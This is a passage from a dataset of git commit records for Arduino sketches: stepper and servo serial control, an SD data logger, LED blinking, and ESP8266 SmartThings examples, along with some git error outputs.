stepper\nAccelStepper step2(1, STEP2, DIR2);\nServo myserv;\nServo myserv2;\n\nvoid setup()\n{ \n pinMode(MS2, OUTPUT);\n pinMode(DIR1, OUTPUT);\n pinMode(DIR2, OUTPUT);\n pinMode(EN, OUTPUT);\n pinMode(STEP1, OUTPUT);\n pinMode(STEP2, OUTPUT);\n digitalWrite(DIR1, LOW); \/\/ clockwise or counter-clockwise\n digitalWrite(DIR2, LOW);\n digitalWrite(EN, LOW); \/\/ LOW == both running, HIGH == both disabled\n digitalWrite(MS2, HIGH); \/\/ MS2 HIGH == quarter-steps \n stepper.setMaxSpeed(use_speed);\n stepper.setAcceleration(use_accel);\n stepper.moveTo(use_dest);\n step2.setMaxSpeed(use_speed);\n step2.setAcceleration(use_accel);\n step2.moveTo(use_dest);\n \n Serial.begin(115200); \/\/ initialize serial & input holder:\n inputString.reserve(ONRESERVE); \/\/ a few bytes extra too\n\n myserv.attach(SERV1); \/\/ set up servo\n Serial.println(\"** I'm Alive **\");\n}\n\nvoid loop()\n{ \n stepper.run();\n step2.run();\n if ((STEP1MOVING) && (!stepper.distanceToGo())) { \/\/ means just now came to stop\n Serial.println(\"ST1FIN\");\n STEP1MOVING = false;\n }\n if ((STEP2MOVING) && (!step2.distanceToGo())) { \/\/ means just now came to stop\n Serial.println(\"ST2FIN\");\n STEP2MOVING = false;\n }\n if (stringComplete) { \/\/ A-TEN-hut!\n ENSTARTED = digitalRead(EN);\n digitalWrite(EN, LOW);\n sleep_ctr = 0;\n parseCommand(inputString); \/\/ sets globals 'command' & 'builtnum'\n if (command != 0) {\n act(command, builtnum); \/\/ act does all actions\n }\n inputString = \"\"; \/\/ clear the input string:\n stringComplete = false;\n sleep_ctr = 0;\n ctrbit = 1;\n }\n else {\n sleep_ctr += ctrbit;\n if ((sleep_ctr > SLEEPDELAY) and (digitalRead(EN) == LOW)) { \/\/ a long time since last command\n digitalWrite(EN, HIGH); \/\/ disable driver boards\n ctrbit = 0; \/\/ stop counting (to avoid rollover)\n if (DEBUG) {Serial.println(\"Stepper Sleeps\");}\n }\n } \n}\n\/*\n SerialEvent occurs whenever new data comes in to arduino via\n hardware serial RX. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read(); \n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n } \n }\n}\n\/* \nstrictly for dealing with command strings like: 'char'+'int in ascii'\n*\/\nvoid parseCommand(String inputString) {\n command = inputString[0];\n builtnum = inputString.substring(1).toInt();\n \/\/ builtnum = sub.toInt();\n}\n\n\/* Big Switch Statement *\/\nvoid act(char ch, int num) {\n switch (ch) {\n case 'a': \/\/ all sensor data printed\n printsense();\n break;\n case 'b': \/\/ stepper top speed\n stepper.setMaxSpeed(num);\n Serial.print(\"ST1SPD:\");Serial.println(num);\n break;\n case 'c': \/\/ stepper accel\n stepper.setAcceleration(num);\n Serial.print(\"ST1ACC:\");Serial.println(num);\n break;\n case 'd': \/\/ destination\n stepper.moveTo(num);\n STEP1MOVING = true;\n Serial.print(\"ST1DST:\");Serial.println(num); \n break;\n case 'e': \/\/ zero at current pos, also stop dead?\n stepper.setCurrentPosition(0);\n Serial.print(\"ST1AT0:\");Serial.println(stepper.currentPosition());\n break; \n\n case 'm': \/\/ toggle microstep2 \n digitalWrite(MS2, !digitalRead(MS2));\n Serial.print(\"MS2SET:\");Serial.println(digitalRead(MS2)); \n break;\n case 'z':\n digitalWrite(EN, !ENSTARTED);\n Serial.print(\"ZZZ:\");Serial.println(digitalRead(EN));\n break;\n \n case 's': \/\/ step2 top speed\n step2.setMaxSpeed(num);\n Serial.print(\"ST2SPD:\");Serial.println(num);\n break;\n case 't': \/\/ step2 accel\n step2.setAcceleration(num);\n Serial.print(\"ST2ACC:\");Serial.println(num);\n break;\n case 'u': \/\/ step2 destination\n step2.moveTo(num);\n STEP2MOVING = true;\n Serial.print(\"ST2DST:\");Serial.println(num); \n break;\n case 'v': \/\/ zero at current pos, also stops\n step2.setCurrentPosition(0);\n Serial.print(\"ST2AT0:\");Serial.println(stepper.currentPosition());\n break;\n case 'n': \/\/ TOM SERVO angle\n myserv.write(num);\n Serial.print(\"SERANG:\");Serial.println(myserv.read());\n break; \n default:\n Serial.print(\"NOCMD:\");Serial.println(ch);Serial.print(\"NONUM:\");Serial.println(num);\n break;\n \/\/ do some default action\n }\n}\n\n\/* print sensor data and other changeable vars *\/\nvoid printsense() {\n Serial.println(\"a=show this\");\n Serial.print(\"A3=\");Serial.println(analogRead(A3));\n Serial.print(\"s1c=\");Serial.println(stepper.currentPosition());\n Serial.print(\"s2c=\");Serial.println(step2.currentPosition()); \n Serial.print(\"b=spd1=\");Serial.println(stepper.speed());\n Serial.println(\"c=acc1\");\n Serial.print(\"d=set1=\");Serial.println(stepper.targetPosition());\n Serial.print(\"e=zer1 d-g=\");Serial.println(stepper.distanceToGo());\n Serial.print(\"m=ms2=\");Serial.println(digitalRead(MS2));\n Serial.print(\"z=sleep=\");Serial.println(digitalRead(EN));\n Serial.print(\"s=spd2=\");Serial.println(step2.speed());\n Serial.println(\"t=acc2\");\n Serial.print(\"u=set2=\");Serial.println(step2.targetPosition());\n Serial.print(\"v=zer2 d-g=\");Serial.println(step2.distanceToGo());\n Serial.print(\"n=serv1=\");Serial.println(myserv.read());\n}\n\n\/* array of interesting pins in one byte *\/\nvoid DigitalCheck(){\n senseHolder = 0; \/\/ global\n for (int i = 0; i < 8; i++) {\n if (digitalRead(SensorPins[i]) == HIGH) {\n bitSet(senseHolder,i);\n \/\/ Serial.print(\"senseHolder = \");\n \/\/ Serial.println(senseHolder,BIN);\n } \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MyOvershoot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"329bb3c105f2c99a0d825961b4eaa6d24ab2292a","subject":"Fixed Romie script","message":"Fixed Romie script\n","repos":"morelab\/weblabdeusto,morelab\/weblabdeusto,zstars\/weblabdeusto,morelab\/weblabdeusto,porduna\/weblabdeusto,weblabdeusto\/weblabdeusto,porduna\/weblabdeusto,zstars\/weblabdeusto,porduna\/weblabdeusto,morelab\/weblabdeusto,weblabdeusto\/weblabdeusto,weblabdeusto\/weblabdeusto,porduna\/weblabdeusto,zstars\/weblabdeusto,porduna\/weblabdeusto,porduna\/weblabdeusto,zstars\/weblabdeusto,morelab\/weblabdeusto,morelab\/weblabdeusto,zstars\/weblabdeusto,morelab\/weblabdeusto,porduna\/weblabdeusto,weblabdeusto\/weblabdeusto,weblabdeusto\/weblabdeusto,porduna\/weblabdeusto,zstars\/weblabdeusto,zstars\/weblabdeusto,weblabdeusto\/weblabdeusto,weblabdeusto\/weblabdeusto,weblabdeusto\/weblabdeusto,porduna\/weblabdeusto,morelab\/weblabdeusto,morelab\/weblabdeusto,morelab\/weblabdeusto,weblabdeusto\/weblabdeusto,porduna\/weblabdeusto,zstars\/weblabdeusto,weblabdeusto\/weblabdeusto,zstars\/weblabdeusto,zstars\/weblabdeusto","old_file":"tools\/Romie\/arduino script\/ArduBot.ino","new_file":"tools\/Romie\/arduino script\/ArduBot.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'tools\/Romie\/arduino' did not match any file(s) known to git\nerror: pathspec 'script\/ArduBot.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"fde2c19e0bff7fbb52c33b974b0c11cd924986a1","subject":"SD\/FAT16 data logger example sketch.","message":"SD\/FAT16 data logger example sketch.\n","repos":"jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,dansut\/Cosa","old_file":"libraries\/FAT16\/examples\/CosaFAT16logger\/CosaFAT16logger.ino","new_file":"libraries\/FAT16\/examples\/CosaFAT16logger\/CosaFAT16logger.ino","new_contents":"\/**\n * @file CosaFAT16logger.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * Simple FAT16\/SD data logger; analog samples in text or binary\n * format.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include <SD.h>\n#include <FAT16.h>\n\n#include \"Cosa\/AnalogPin.hh\"\n#include \"Cosa\/RTT.hh\"\n#include \"Cosa\/Time.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/UART.hh\"\n#include \"Cosa\/Watchdog.hh\"\n\n\/\/ Configuration: Storage, SD adapter\/shield, CSV separator\n\/\/#define USE_TEXT_FORMAT\n#define USE_BINARY_FORMAT\n\n\/\/#define USE_SD_ADAPTER\n#define USE_SD_DATA_LOGGING_SHIELD\n\/\/#define USE_ETHERNET_SHIELD\n\/\/#define USE_TFT_ST7735\n\n\/\/#define CSV ','\n#define CSV ';'\n\n#define SAMPLE_MAX membersof(analog_pin_map)\n\/\/#define SAMPLE_MAX 3\n\n#if defined(WICKEDDEVICE_WILDFIRE) || defined(USE_SD_ADAPTER)\nSD sd;\n\n#elif defined(USE_ETHERNET_SHIELD)\nSD sd(Board::D4);\nOutputPin eth(Board::D10, 1);\n\n#elif defined(USE_TFT_ST7735)\nSD sd;\nOutputPin tft(Board::D10, 1);\n\n#elif defined(USE_SD_DATA_LOGGING_SHIELD)\n#include <DS1307.h>\nSD sd(Board::D10);\nDS1307 rtc;\n#endif\n\n\/\/ Configuration: SD SPI clock\n#define SLOW_CLOCK SPI::DIV4_CLOCK\n#define FAST_CLOCK SPI::DIV2_CLOCK\n#define CLOCK FAST_CLOCK\n\n\/\/ Number of samples\nconst uint16_t SAMPLES = 1000;\n\n\/\/ Time period between samples\nconst uint16_t PERIOD = 16;\n\n\/\/ Sample rate\nconst uint16_t RATE = (1000 + (PERIOD\/2)) \/ PERIOD;\n\n\/\/ Timestamp; seconds and fraction in milli-seconds\nstruct timestamp_t {\n clock_t sec;\n uint16_t ms;\n};\n\n\/\/ Log entry with timestamp and analog pin samples\nstruct entry_t {\n timestamp_t timestamp;\n uint16_t sample[SAMPLE_MAX];\n};\n\n\/\/ Wall clock (seconds)\nRTT::Clock clock;\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaFAT16logger: started\"));\n trace.flush();\n Watchdog::begin();\n RTT::begin();\n ASSERT(sd.begin(CLOCK));\n ASSERT(FAT16::begin(&sd));\n\n#if defined(USE_SD_DATA_LOGGING_SHIELD)\n time_t now;\n ASSERT(rtc.get_time(now));\n now.to_binary();\n clock.time(now);\n RTT::millis(0L);\n trace << PSTR(\"Date: \") << now << endl;\n trace.flush();\n#endif\n}\n\nvoid loop()\n{\n static uint16_t err = 0;\n uint32_t start, stop, ms, max;\n FAT16::File file;\n IOStream cout(&file);\n entry_t entry;\n\n \/\/ Some configuration statistics\n trace << PSTR(\"Period: \") << PERIOD << PSTR(\" ms\")\n\t<< endl;\n trace << PSTR(\"Rate: \") << RATE << PSTR(\" entries\/second, \")\n\t<< SAMPLE_MAX * RATE\n\t<< PSTR(\" values\/second\")\n\t<< endl;\n trace << PSTR(\"Samples: \") << SAMPLE_MAX << PSTR(\" values per entry\")\n\t<< endl;\n trace << PSTR(\"Log: \") << SAMPLES << PSTR(\" entries, \")\n\t<< SAMPLES * SAMPLE_MAX << PSTR(\" values\")\n\t<< endl;\n trace << flush;\n\n \/\/ Open log file and write header (text format)\n ASSERT(file.open(\"LOG.CSV\", O_TRUNC | O_WRITE | O_CREAT));\n#if defined(USE_TEXT_FORMAT)\n cout << PSTR(\"Timestamp\") << CSV << PSTR(\"ms\");\n for (uint8_t i = 0; i < SAMPLE_MAX; i++)\n cout << CSV << 'A' << i;\n cout << endl;\n#endif\n\n \/\/ Sample and write entries to log file\n max = 0;\n for (uint16_t j = 0; j < SAMPLES; j++) {\n start = RTT::millis();\n entry.timestamp.sec = clock.time();\n entry.timestamp.ms = start % 1000;\n AnalogPin::powerup();\n for (uint8_t i = 0; i < SAMPLE_MAX; i++) {\n Board::AnalogPin pin;\n pin = (Board::AnalogPin) pgm_read_byte(analog_pin_map + i);\n entry.sample[i] = AnalogPin::sample(pin);\n }\n AnalogPin::powerdown();\n#if defined(USE_TEXT_FORMAT)\n cout << entry.timestamp.sec << CSV << entry.timestamp.ms;\n for (uint8_t i = 0; i < SAMPLE_MAX; i++)\n cout << CSV << entry.sample[i];\n cout << endl;\n#endif\n#if defined(USE_BINARY_FORMAT)\n file.write(&entry, sizeof(entry));\n#endif\n stop = RTT::millis();\n ms = stop - start + 1;\n if (ms > max) max = ms;\n if (PERIOD > ms) delay(PERIOD - ms); else err += 1;\n }\n ASSERT(file.close());\n\n \/\/ Reopen log and print contents\n ASSERT(file.open(\"LOG.CSV\", O_READ));\n#if defined(USE_TEXT_FORMAT)\n int c;\n while ((c = file.getchar()) != IOStream::EOF) trace << (char) c;\n#endif\n#if defined(USE_BINARY_FORMAT)\n trace << PSTR(\"Timestamp\") << CSV << PSTR(\"ms\");\n for (uint8_t i = 0; i < SAMPLE_MAX; i++)\n trace << CSV << 'A' << i;\n trace << endl;\n while (file.read(&entry, sizeof(entry)) == sizeof(entry)) {\n trace << time_t(entry.timestamp.sec) << CSV << entry.timestamp.ms;\n for (uint8_t i = 0; i < SAMPLE_MAX; i++)\n trace << CSV << entry.sample[i];\n trace << endl;\n }\n#endif\n trace << PSTR(\"Size: \") << file.tell() << PSTR(\" bytes\") << endl;\n trace << PSTR(\"Errors: \") << err << endl;\n trace << PSTR(\"Period max: \") << max << PSTR(\" ms\") << endl;\n ASSERT(file.close());\n ASSERT(sd.end());\n\n ASSERT(true == false);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/FAT16\/examples\/CosaFAT16logger\/CosaFAT16logger.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d179fac009d6539f92484eec9d11ed896692c952","subject":"add source arduino ESP12e","message":"add source arduino ESP12e\n","repos":"jvenancio\/satisfaj,jvenancio\/satisfaj,jvenancio\/satisfaj","old_file":"src_arduino\/esp_rgb\/esp_rgb.ino","new_file":"src_arduino\/esp_rgb\/esp_rgb.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jvenancio\/satisfaj.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2e07476f38cecd4289ceee4d1e874c19e25044a6","subject":"updated small detail in (iprogramm)","message":"updated small detail in (iprogramm)\n","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/HardwareControl.ino","new_file":"LaundryMachine\/HardwareControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3cfd14c9245ab96b34fd55e1b3b07c26cc602a29","subject":"Create nicla-blink2.ino","message":"Create nicla-blink2.ino","repos":"gmacario\/learning-arduino","old_file":"sketches\/nicla-blink2\/nicla-blink2.ino","new_file":"sketches\/nicla-blink2\/nicla-blink2.ino","new_contents":"#include \"Nicla_System.h\"\n\n#define BLINK_RAINBOW 1\n\nvoid setup() {\n nicla::begin();\n nicla::leds.begin();\n}\n\n#if defined(BLINK_RAINBOW)\ntypedef struct {\n unsigned char r;\n unsigned char g;\n unsigned char b;\n} RGB_type;\n\nstatic RGB_type colors[] = {\n {255, 0, 0}, \/\/ Red\n { 0, 255, 0}, \/\/ Green\n { 0, 0, 255}, \/\/ Blue\n {255, 255, 125}, \/\/ Raspberry\n { 0, 255, 255}, \/\/ Cyan\n {255, 0, 255}, \/\/ Magenta\n {255, 255, 0}, \/\/ Yellow\n {255, 255, 255} \/\/ White\n};\n#define NUM_COLORS (sizeof(colors) \/ sizeof(RGB_type))\n\nstatic int ix_color = 0;\n#endif \/* defined(BLINK_RAINBOW) *\/\n\nvoid loop() {\n#if defined(BLINK_RAINBOW)\n int r, g, b;\n r = colors[ix_color].r;\n g = colors[ix_color].g;\n b = colors[ix_color].b;\n nicla::leds.setColor(r, g, b);\n delay(1000);\n ix_color = (ix_color + 1) % NUM_COLORS;\n#else\n nicla::leds.setColor(green);\n delay(1000);\n nicla::leds.setColor(off);\n delay(1000);\n#endif\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/nicla-blink2\/nicla-blink2.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"4c46d6331ddddb58d97cd6e97e21dbb5ab12008d","subject":"Create ST_Anything_AddressableRGB_ESP8266WiFi.ino","message":"Create ST_Anything_AddressableRGB_ESP8266WiFi.ino\n\nBare sketch for ESP8266 and RGB addressable LEDs using the NeoPixel library.","repos":"vseven\/SmartThings_VSeven","old_file":"Modified_ST_Anything_Libraries\/ST_Anything_AddressableRGB_ESP8266WiFi.ino","new_file":"Modified_ST_Anything_Libraries\/ST_Anything_AddressableRGB_ESP8266WiFi.ino","new_contents":"\/\/******************************************************************************************\n\/\/ File: ST_Anything_AddressableRGB_ESP8266WiFi.ino\n\/\/ \n\/\/ This is a bare bones ST_Anything sketch for testing the Addressable RGB using the NeoPixel library on a ESP8266\n\/\/\n\/\/******************************************************************************************\n\/\/******************************************************************************************\n\/\/ SmartThings Library for ESP8266WiFi\n\/\/******************************************************************************************\n#include <SmartThingsESP8266WiFi.h>\n\n\/\/******************************************************************************************\n\/\/ ST_Anything Library \n\/\/******************************************************************************************\n#include <Constants.h> \/\/Constants.h is designed to be modified by the end user to adjust behavior of the ST_Anything library\n#include <Device.h> \/\/Generic Device Class, inherited by Sensor and Executor classes\n#include <Sensor.h> \/\/Generic Sensor Class, typically provides data to ST Cloud (e.g. Temperature, Motion, etc...)\n#include <Executor.h> \/\/Generic Executor Class, typically receives data from ST Cloud (e.g. Switch)\n#include <Everything.h> \/\/Master Brain of ST_Anything library that ties everything together and performs ST Shield communications\n\n#include <EX_RGBAddressable_Dim.h> \/\/Implements an Executor (EX) for a RGB Addressable LED or strip using 1 digital output pins\n\n\/\/*************************************************************************************************\n\/\/NodeMCU v1.0 ESP8266-12e Pin Definitions (makes it much easier as these match the board markings)\n\/\/*************************************************************************************************\n\/\/#define LED_BUILTIN 16\n\/\/#define BUILTIN_LED 16\n\/\/\n\/\/#define D0 16 \/\/no internal pullup resistor\n\/\/#define D1 5\n\/\/#define D2 4\n\/\/#define D3 0 \/\/must not be pulled low during power on\/reset, toggles value during boot\n\/\/#define D4 2 \/\/must not be pulled low during power on\/reset, toggles value during boot\n\/\/#define D5 14\n\/\/#define D6 12\n\/\/#define D7 13\n\/\/#define D8 15 \/\/must not be pulled high during power on\/reset\n\n\/\/******************************************************************************************\n\/\/Define which Arduino Pins will be used for each device\n\/\/******************************************************************************************\n\/\/Digital Pins\n#define PIN_RGBAddressable_1 D6 \/\/ SmartThings Capability \"Color Co\n\n\/\/******************************************************************************************\n\/\/ESP8266 WiFi Information\n\/\/******************************************************************************************\nString str_ssid = \"yourSSIDhere\"; \/\/ <---You must edit this line!\nString str_password = \"yourWiFiPasswordhere\"; \/\/ <---You must edit this line!\nIPAddress ip(192, 168, 1, 227); \/\/Device IP Address \/\/ <---You must edit this line!\nIPAddress gateway(192, 168, 1, 1); \/\/Router gateway \/\/ <---You must edit this line!\nIPAddress subnet(255, 255, 255, 0); \/\/LAN subnet mask \/\/ <---You must edit this line!\nIPAddress dnsserver(192, 168, 1, 1); \/\/DNS server \/\/ <---You must edit this line!\nconst unsigned int serverPort = 8090; \/\/ port to run the http server on\n\n\/\/ Smartthings Hub Information\nIPAddress hubIp(192, 168, 1, 149); \/\/ smartthings hub ip \/\/ <---You must edit this line!\nconst unsigned int hubPort = 39500; \/\/ smartthings hub port\n\n\/\/******************************************************************************************\n\/\/st::Everything::callOnMsgSend() optional callback routine. This is a sniffer to monitor \n\/\/ data being sent to ST. This allows a user to act on data changes locally within the \n\/\/ Arduino sktech.\n\/\/******************************************************************************************\nvoid callback(const String &msg)\n{\n\/\/ Serial.print(F(\"ST_Anything Callback: Sniffed data = \"));\n\/\/ Serial.println(msg);\n \n \/\/TODO: Add local logic here to take action when a device's value\/state is changed\n \n \/\/Masquerade as the ThingShield to send data to the Arduino, as if from the ST Cloud (uncomment and edit following line)\n \/\/st::receiveSmartString(\"Put your command here!\"); \/\/use same strings that the Device Handler would send\n}\n\n\/\/******************************************************************************************\n\/\/Arduino Setup() routine\n\/\/******************************************************************************************\nvoid setup()\n{\n \/\/Executors\n static st::EX_RGBAddressable_Dim executor1(F(\"rgbSwitch1\"), PIN_RGBAddressable_1, 5);\n \n \/\/*****************************************************************************\n \/\/ Configure debug print output from each main class \n \/\/ -Note: Set these to \"false\" if using Hardware Serial on pins 0 & 1\n \/\/ to prevent communication conflicts with the ST Shield communications\n \/\/*****************************************************************************\n st::Everything::debug=true;\n st::Executor::debug=true;\n st::Device::debug=true;\n\n \/\/*****************************************************************************\n \/\/Initialize the \"Everything\" Class\n \/\/*****************************************************************************\n\n \/\/Initialize the optional local callback routine (safe to comment out if not desired)\n st::Everything::callOnMsgSend = callback;\n \n \/\/Create the SmartThings ESP8266WiFi Communications Object\n \/\/STATIC IP Assignment - Recommended\n st::Everything::SmartThing = new st::SmartThingsESP8266WiFi(str_ssid, str_password, ip, gateway, subnet, dnsserver, serverPort, hubIp, hubPort, st::receiveSmartString);\n \n \/\/DHCP IP Assigment - Must set your router's DHCP server to provice a static IP address for this device's MAC address\n \/\/st::Everything::SmartThing = new st::SmartThingsESP8266WiFi(str_ssid, str_password, serverPort, hubIp, hubPort, st::receiveSmartString);\n\n \/\/Run the Everything class' init() routine which establishes WiFi communications with SmartThings Hub\n st::Everything::init();; \n \n \/\/*****************************************************************************\n \/\/Add each executor to the \"Everything\" Class\n \/\/*****************************************************************************\n st::Everything::addExecutor(&executor1);\n \n \/\/*****************************************************************************\n \/\/Initialize each of the devices which were added to the Everything Class\n \/\/*****************************************************************************\n st::Everything::initDevices();\n \n}\n\n\/\/******************************************************************************************\n\/\/Arduino Loop() routine\n\/\/******************************************************************************************\nvoid loop()\n{\n \/\/*****************************************************************************\n \/\/Execute the Everything run method which takes care of \"Everything\"\n \/\/*****************************************************************************\n st::Everything::run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modified_ST_Anything_Libraries\/ST_Anything_AddressableRGB_ESP8266WiFi.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"695354a8022aa72fe7a56902ed438bf23d7ad69a","subject":"Send commands on PUT method","message":"Send commands on PUT method\n","repos":"jadalqui\/ha_arduino,jadalqui\/ha_arduino","old_file":"ha_esp8266\/ha_esp8266.ino","new_file":"ha_esp8266\/ha_esp8266.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jadalqui\/ha_arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b58bcd9d89901b60c57960c02d54f96e7576baf4","subject":"Minor changes","message":"Minor changes","repos":"Ardulink\/Ardulink,Ardulink\/Ardulink-2,Ardulink\/Ardulink-2,pfichtner\/Ardulink,Ardulink\/Ardulink-2","old_file":"Deploy\/rootfolder\/sketches\/CustomMessagesChipKit\/CustomMessagesChipKit.ino","new_file":"Deploy\/rootfolder\/sketches\/CustomMessagesChipKit\/CustomMessagesChipKit.ino","new_contents":"\/*\nCopyright 2013 Luciano Zu project Ardulink http:\/\/www.ardulink.org\/\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\nThis sketch is an example to understand how Arduino can recognize ALProtocol. \nHowever, it can easily be reused for their own purposes or as a base for a library. \nRead carefully the comments. When you find \"this is general code you can reuse\"\nthen it means that it is generic code that you can use to manage the ALProtocol. \nWhen you find \"this is needed just as example for this sketch\" then it means that \nyou code useful for a specific purpose. In this case you have to modify it to suit \nyour needs.\n*\/\n\n#include <IOShieldOled.h>\n\n#define BUFFER_SIZE 64\n\nchar buffer[BUFFER_SIZE];\n\nString inputString = \"\"; \/\/ a string to hold incoming data (this is general code you can reuse)\nboolean stringComplete = false; \/\/ whether the string is complete (this is general code you can reuse)\n\nvoid setup() {\n \/\/ initialize serial: (this is general code you can reuse)\n Serial.begin(115200);\n \n IOShieldOled.begin();\n}\n\nvoid loop() {\n\n while (Serial.available() && !stringComplete) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n }\n\n \n \/\/ when a newline arrives:\n if (stringComplete) {\n \n if(inputString.startsWith(\"alp:\/\/\")) { \/\/ OK is a message I know (this is general code you can reuse)\n \n boolean msgRecognized = true;\n \n if(inputString.substring(6,10) == \"cust\") { \/\/ Custom Message\n \/\/ here you can write your own code.\n int separatorPosition = inputString.indexOf('\/', 11 );\n int messageIdPosition = inputString.indexOf('?', 11 );\n String customId = inputString.substring(11,separatorPosition);\n String value = inputString.substring(separatorPosition + 1, messageIdPosition);\n if(customId == \"OLED\") {\n \/\/Clear the virtual buffer\n IOShieldOled.clearBuffer();\n \/\/Chosing Fill pattern 0\n IOShieldOled.setFillPattern(IOShieldOled.getStdPattern(0));\n \/\/Turn automatic updating off\n IOShieldOled.setCharUpdate(0);\n IOShieldOled.setCursor(0, 0);\n value.toCharArray(buffer, BUFFER_SIZE);\n IOShieldOled.putString(buffer);\n IOShieldOled.updateDisplay();\n } else {\n msgRecognized = false; \/\/ this sketch doesn't know other messages in this case command is ko (not ok)\n }\n } else {\n msgRecognized = false; \/\/ this sketch doesn't know other messages in this case command is ko (not ok)\n }\n \n \/\/ Prepare reply message if caller supply a message id (this is general code you can reuse)\n int idPosition = inputString.indexOf(\"?id=\");\n if(idPosition != -1) {\n String id = inputString.substring(idPosition + 4);\n \/\/ print the reply\n Serial.print(\"alp:\/\/rply\/\");\n if(msgRecognized) { \/\/ this sketch doesn't know other messages in this case command is ko (not ok)\n Serial.print(\"ok?id=\");\n } else {\n Serial.print(\"ko?id=\");\n }\n Serial.print(id);\n Serial.write(255); \/\/ End of Message\n Serial.flush();\n }\n }\n \n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n \n}\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Deploy\/rootfolder\/sketches\/CustomMessagesChipKit\/CustomMessagesChipKit.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cabf615a6b386d6d647a2619c1378fd6da789b40","subject":"Add initial ino file","message":"Add initial ino file\n","repos":"bertrik\/LaserCutterUsageCounter,bertrik\/LaserCutterUsageCounter","old_file":"usagecounter\/usagecounter.ino","new_file":"usagecounter\/usagecounter.ino","new_contents":"#include <Arduino.h>\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'usagecounter\/usagecounter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"199d247263c93c7019477ebbd4ae445be84f91e5","subject":"Add example of using serial","message":"Add example of using serial\n","repos":"eduardoklosowski\/vdlkino,eduardoklosowski\/vdlkino","old_file":"examples\/Serial\/Serial.ino","new_file":"examples\/Serial\/Serial.ino","new_contents":"#include \"VdlkinoSerial.h\"\n\nVdlkinoSerial vdlkino(14, 6, &Serial);\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n vdlkino.run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Serial\/Serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f2a97bf02da1a58e55dfc0fb88345da9cc29f10","subject":"Started to code a simple test program.","message":"Started to code a simple test program.\n","repos":"druus\/parking-assistant,druus\/parking-assistant","old_file":"test\/test_receive\/test_receive.ino","new_file":"test\/test_receive\/test_receive.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for 